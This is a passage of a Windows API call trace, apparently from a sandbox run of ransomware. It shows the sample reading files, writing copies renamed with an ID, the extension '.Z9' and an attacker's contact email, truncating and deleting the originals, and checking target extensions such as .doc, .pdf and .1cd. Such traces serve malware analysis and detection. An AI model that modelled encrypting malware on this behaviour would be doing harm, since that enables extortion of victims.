	[0071.867] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.867] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1
	[0071.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.868] lstrlenW (lpString=".doc") returned 4
	[0071.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString=".docx") returned 5
	[0071.868] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.868] lstrlenW (lpString=".pdf") returned 4
	[0071.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString=".xls") returned 4
	[0071.868] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString=".xlsx") returned 5
	[0071.868] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.868] lstrlenW (lpString=".ppt") returned 4
	[0071.868] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.868] lstrlenW (lpString=".zip") returned 4
	[0071.868] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.868] lstrlenW (lpString=".rar") returned 4
	[0071.868] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString=".bz2") returned 4
	[0071.868] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString=".7z") returned 3
	[0071.868] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.868] lstrlenW (lpString=".dbf") returned 4
	[0071.868] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.868] lstrlenW (lpString=".1cd") returned 4
	[0071.868] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.868] lstrlenW (lpString=".jpg") returned 4
	[0071.868] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.868] lstrlenW (lpString=".doc") returned 4
	[0071.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.869] lstrlenW (lpString=".docx") returned 5
	[0071.869] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.869] lstrlenW (lpString=".pdf") returned 4
	[0071.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.869] lstrlenW (lpString=".xls") returned 4
	[0071.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.869] lstrlenW (lpString=".xlsx") returned 5
	[0071.869] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.869] lstrlenW (lpString=".ppt") returned 4
	[0071.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.869] lstrlenW (lpString=".zip") returned 4
	[0071.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.869] lstrlenW (lpString=".rar") returned 4
	[0071.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.869] lstrlenW (lpString=".bz2") returned 4
	[0071.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.869] lstrlenW (lpString=".7z") returned 3
	[0071.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.869] lstrlenW (lpString=".dbf") returned 4
	[0071.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.869] lstrlenW (lpString=".1cd") returned 4
	[0071.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0071.869] lstrlenW (lpString=".jpg") returned 4
	[0071.869] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.869] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0071.869] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0071.869] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.972] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=80254) returned 1
	[0071.972] CloseHandle (hObject=0x368) returned 1
	[0071.972] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80
	[0071.972] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.972] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.973] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0071.973] GetLastError () returned 0x0
	[0071.973] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1397e, lpOverlapped=0x0) returned 1
	[0072.004] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13980, lpOverlapped=0x0) returned 1
	[0072.006] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.006] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0072.006] SetEndOfFile (hFile=0x370) returned 1
	[0072.006] CloseHandle (hObject=0x370) returned 1
	[0072.008] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.008] SetEndOfFile (hFile=0x368) returned 1
	[0072.010] CloseHandle (hObject=0x368) returned 1
	[0072.010] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.010] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1
	[0072.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.010] lstrlenW (lpString=".doc") returned 4
	[0072.010] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.010] lstrlenW (lpString=".docx") returned 5
	[0072.010] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.010] lstrlenW (lpString=".pdf") returned 4
	[0072.010] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.010] lstrlenW (lpString=".xls") returned 4
	[0072.010] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.010] lstrlenW (lpString=".xlsx") returned 5
	[0072.011] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.011] lstrlenW (lpString=".ppt") returned 4
	[0072.011] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.011] lstrlenW (lpString=".zip") returned 4
	[0072.011] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.011] lstrlenW (lpString=".rar") returned 4
	[0072.011] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString=".bz2") returned 4
	[0072.011] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString=".7z") returned 3
	[0072.011] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.011] lstrlenW (lpString=".dbf") returned 4
	[0072.011] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.011] lstrlenW (lpString=".1cd") returned 4
	[0072.011] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.011] lstrlenW (lpString=".jpg") returned 4
	[0072.011] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.011] lstrlenW (lpString=".doc") returned 4
	[0072.011] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString=".docx") returned 5
	[0072.011] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.011] lstrlenW (lpString=".pdf") returned 4
	[0072.011] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString=".xls") returned 4
	[0072.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString=".xlsx") returned 5
	[0072.011] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.011] lstrlenW (lpString=".ppt") returned 4
	[0072.011] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.011] lstrlenW (lpString=".zip") returned 4
	[0072.012] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.012] lstrlenW (lpString=".rar") returned 4
	[0072.012] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.012] lstrlenW (lpString=".bz2") returned 4
	[0072.012] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.012] lstrlenW (lpString=".7z") returned 3
	[0072.012] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.012] lstrlenW (lpString=".dbf") returned 4
	[0072.012] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.012] lstrlenW (lpString=".1cd") returned 4
	[0072.012] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0072.012] lstrlenW (lpString=".jpg") returned 4
	[0072.012] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.012] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.012] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0072.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.012] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=60816) returned 1
	[0072.012] CloseHandle (hObject=0x368) returned 1
	[0072.012] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80
	[0072.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.013] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.013] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0072.013] GetLastError () returned 0x0
	[0072.013] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xed90, lpOverlapped=0x0) returned 1
	[0072.028] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xeda0, lpOverlapped=0x0) returned 1
	[0072.030] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.030] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0072.030] SetEndOfFile (hFile=0x370) returned 1
	[0072.030] CloseHandle (hObject=0x370) returned 1
	[0072.032] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.032] SetEndOfFile (hFile=0x368) returned 1
	[0072.033] CloseHandle (hObject=0x368) returned 1
	[0072.034] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.034] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1
	[0072.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.034] lstrlenW (lpString=".doc") returned 4
	[0072.034] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.034] lstrlenW (lpString=".docx") returned 5
	[0072.034] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.034] lstrlenW (lpString=".pdf") returned 4
	[0072.034] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.034] lstrlenW (lpString=".xls") returned 4
	[0072.034] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.034] lstrlenW (lpString=".xlsx") returned 5
	[0072.034] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.034] lstrlenW (lpString=".ppt") returned 4
	[0072.034] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.034] lstrlenW (lpString=".zip") returned 4
	[0072.034] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.034] lstrlenW (lpString=".rar") returned 4
	[0072.035] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString=".bz2") returned 4
	[0072.035] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString=".7z") returned 3
	[0072.035] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.035] lstrlenW (lpString=".dbf") returned 4
	[0072.035] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.035] lstrlenW (lpString=".1cd") returned 4
	[0072.035] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.035] lstrlenW (lpString=".jpg") returned 4
	[0072.035] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.035] lstrlenW (lpString=".doc") returned 4
	[0072.035] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString=".docx") returned 5
	[0072.035] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.035] lstrlenW (lpString=".pdf") returned 4
	[0072.035] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString=".xls") returned 4
	[0072.035] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString=".xlsx") returned 5
	[0072.035] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.035] lstrlenW (lpString=".ppt") returned 4
	[0072.035] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.035] lstrlenW (lpString=".zip") returned 4
	[0072.035] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.035] lstrlenW (lpString=".rar") returned 4
	[0072.035] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString=".bz2") returned 4
	[0072.035] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.035] lstrlenW (lpString=".7z") returned 3
	[0072.035] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.036] lstrlenW (lpString=".dbf") returned 4
	[0072.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.036] lstrlenW (lpString=".1cd") returned 4
	[0072.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0072.036] lstrlenW (lpString=".jpg") returned 4
	[0072.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.036] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0072.036] lstrlenW (lpString="eula.rtf") returned 8
	[0072.036] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.036] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3069) returned 1
	[0072.036] CloseHandle (hObject=0x368) returned 1
	[0072.036] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80
	[0072.036] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.036] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.037] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.037] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.037] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0072.037] GetLastError () returned 0x0
	[0072.037] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xbfd, lpOverlapped=0x0) returned 1
	[0072.543] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xc00, lpOverlapped=0x0) returned 1
	[0072.565] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.565] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0072.565] SetEndOfFile (hFile=0x370) returned 1
	[0072.565] CloseHandle (hObject=0x370) returned 1
	[0072.566] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.566] SetEndOfFile (hFile=0x368) returned 1
	[0072.567] CloseHandle (hObject=0x368) returned 1
	[0072.567] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.568] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1
	[0072.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.568] lstrlenW (lpString=".doc") returned 4
	[0072.568] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0072.568] lstrlenW (lpString=".docx") returned 5
	[0072.568] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0072.568] lstrlenW (lpString=".pdf") returned 4
	[0072.568] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0072.568] lstrlenW (lpString=".xls") returned 4
	[0072.568] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0072.568] lstrlenW (lpString=".xlsx") returned 5
	[0072.568] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0072.568] lstrlenW (lpString=".ppt") returned 4
	[0072.568] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0072.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.568] lstrlenW (lpString=".zip") returned 4
	[0072.568] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0072.568] lstrlenW (lpString=".rar") returned 4
	[0072.568] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0072.568] lstrlenW (lpString=".bz2") returned 4
	[0072.568] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0072.568] lstrlenW (lpString=".7z") returned 3
	[0072.568] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0072.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.568] lstrlenW (lpString=".dbf") returned 4
	[0072.568] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0072.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.569] lstrlenW (lpString=".1cd") returned 4
	[0072.569] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
